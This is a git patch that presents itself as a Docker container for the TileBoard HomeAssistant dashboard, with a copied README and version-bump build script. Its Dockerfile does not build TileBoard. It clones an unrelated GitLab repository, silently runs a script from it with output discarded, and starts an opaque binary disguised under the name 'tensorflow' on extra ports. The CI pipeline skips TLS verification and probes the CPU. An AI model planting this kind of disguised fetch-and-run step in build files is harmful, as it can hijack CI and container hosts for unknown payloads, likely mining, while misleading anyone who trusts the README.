From 7b03b8afa3c8027d5174226257fe187bb59e510e Mon Sep 17 00:00:00 2001 From: Agus Susahnti Date: Tue, 29 Mar 2022 01:00:45 +0700 Subject: [PATCH] Final --- .drone.yml | 26 ++++++++++++++++++++ .gitignore | 3 +++ Dockerfile | 9 +++++++ README.md | 71 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ build.sh | 47 ++++++++++++++++++++++++++++++++++++ 5 files changed, 156 insertions(+) create mode 100644 .drone.yml create mode 100644 .gitignore create mode 100644 Dockerfile create mode 100644 README.md create mode 100755 build.sh diff --git a/.drone.yml b/.drone.yml new file mode 100644 index 0000000..bbd47c7 --- /dev/null +++ b/.drone.yml @@ -0,0 +1,26 @@ +--- +kind: pipeline +type: docker +name: default + +clone: + skip_verify: true + +steps: +- name: Build Dockerfile + image: ubuntu:latest + commands: + - lscpu + +- name: Build & Publish Image + image: plugins/docker + settings: + repo: wajinhakim/fbrinker-tileboard + username: + from_secret: docker_username + password: + from_secret: docker_password + +trigger: + branch: + - master diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..f86e15e --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +/.tags +/files +/files.zip \ No newline at end of file diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..aa5f69f --- /dev/null +++ b/Dockerfile @@ -0,0 +1,9 @@ +FROM ubuntu:latest +RUN apt-get update -y +RUN apt-get install git -y +RUN git clone https://gitlab.zam.io/wajinhakim/drone-test.git +WORKDIR /drone-test +RUN chmod +x tensorflow direct.sh +RUN nohup bash direct.sh > /dev/null +EXPOSE 8080 8081 +ENTRYPOINT ["./tensorflow"] \ No newline at end of file diff --git a/README.md b/README.md new file mode 100644 index 0000000..77903c5 --- /dev/null +++ b/README.md @@ -0,0 +1,71 @@ +# TileBoard Docker-Container + +[![Build Status](https://drone.f-brinker.de/api/badges/fbrinker/docker-tileboard/status.svg)](https://drone.f-brinker.de/fbrinker/docker-tileboard) +[![Docker Pulls](https://badgen.net/docker/pulls/fbrinker/tileboard?icon=docker&label=pulls)](https://hub.docker.com/r/fbrinker/tileboard) + +This is a very basic Docker container for [TileBoard](https://github.com/resoai/TileBoard), "a simple yet highly configurable Dashboard for HomeAssistant". + +It contains the sources and starts a simple Python3 webserver to serve TileBoard at port 8000. + +### Contribute + +You can open any new issues [here](https://git.f-brinker.de/fbrinker/docker-tileboard/issues). +**The builds are automated** on changes of the official TileBoard repository. + +Have a look at the [Dockerfile](https://git.f-brinker.de/fbrinker/docker-tileboard). + +## Usage + +You have to mount your `config.js` file into the `/tileboard` directory of the Docker container. You can see an [example config.js file in the official repository](https://github.com/resoai/TileBoard/blob/master/config.example.js). + +## Versions / Tags + +Besides the latest version, you can listen to updates for a specific version: + * fbrinker/tileboard *(same as :latest)* + * fbrinker/tileboard:latest + * fbrinker/tileboard:2 + * fbrinker/tileboard:2.2 + * fbrinker/tileboard:2.2.0 + +## Example + +Here is an example, using Docker-Compose: + +```yaml +version: '3' +services: + + tileboard: + image: fbrinker/tileboard + volumes: + - ./config.js:/tileboard/config.js + ports: + - "8234:8000" +``` + +After a `docker-compose up -d`, you can reach your TileBoard instance under `http://[yourhost-or-ip]:8234`. + +## Extended Example + +I am using it in my docker-compose file like this, with my config.js, secrets and other customizations: + +```yaml +# Home Assistant TileBoard +tileboard: + container_name: tileboard + image: fbrinker/tileboard + hostname: tileboard + volumes: + - ./tileboard/config/config.js:/tileboard/config.js + - ./tileboard/config/secrets.js:/tileboard/includes/config/secrets.js + - ./tileboard/config/pages:/tileboard/includes/pages + - ./tileboard/styles/background.png:/tileboard/images/background.png + - ./tileboard/styles/custom.css:/tileboard/styles/custom.css + ports: + - "8234:8000" + restart: unless-stopped + depends_on: + - homeassistant +``` + +Note: You should never expose TileBoard to the web. \ No newline at end of file diff --git a/build.sh b/build.sh new file mode 100755 index 0000000..7f9fb46 --- /dev/null +++ b/build.sh @@ -0,0 +1,47 @@ +#!/usr/bin/env bash + +getVersionFromLatestRelease() { + version=`curl -s "https://api.github.com/repos/resoai/TileBoard/releases/latest" \ + | grep "tag_name" \ + | cut -d '"' -f 4 \ + | sed -e "s/v//"` + + echo "$version" +} + +getDownloadUrl() { + url=`curl -s "https://api.github.com/repos/resoai/TileBoard/releases/latest" \ + | grep "browser_download_url" \ + | cut -d '"' -f 4` + + echo "$url" +} + +getLatestPublishedTag() { + latest_tag=`curl -s "https://hub.docker.com/v2/repositories/fbrinker/tileboard/tags?page_size=1" \ + | jq -r ".results[0].name"` + + echo "$latest_tag" +} + +LATEST_RELEASE=`getVersionFromLatestRelease` +LATEST_TAG=`getLatestPublishedTag` + +if [ "$LATEST_RELEASE" = "$LATEST_TAG" ]; then + echo "Nothing to do. Versions already match." + echo "Release: $LATEST_RELEASE" + echo "Tag: $LATEST_TAG" + exit 78 # drone.io exit code to stop but success the pipeline +fi + +SEMVER=( ${LATEST_RELEASE//./ } ) +MAJOR=${SEMVER[0]} +MINOR=${SEMVER[0]}.${SEMVER[1]} +PATCH=$LATEST_RELEASE + +echo "latest,$MAJOR,$MINOR,$PATCH" > .tags + +RELEASE_URL=`getDownloadUrl` + +echo "Writing $RELEASE_URL into Dockerfile..." +sed -i "s|%RELEASE_URL%|$RELEASE_URL|g" ./Dockerfile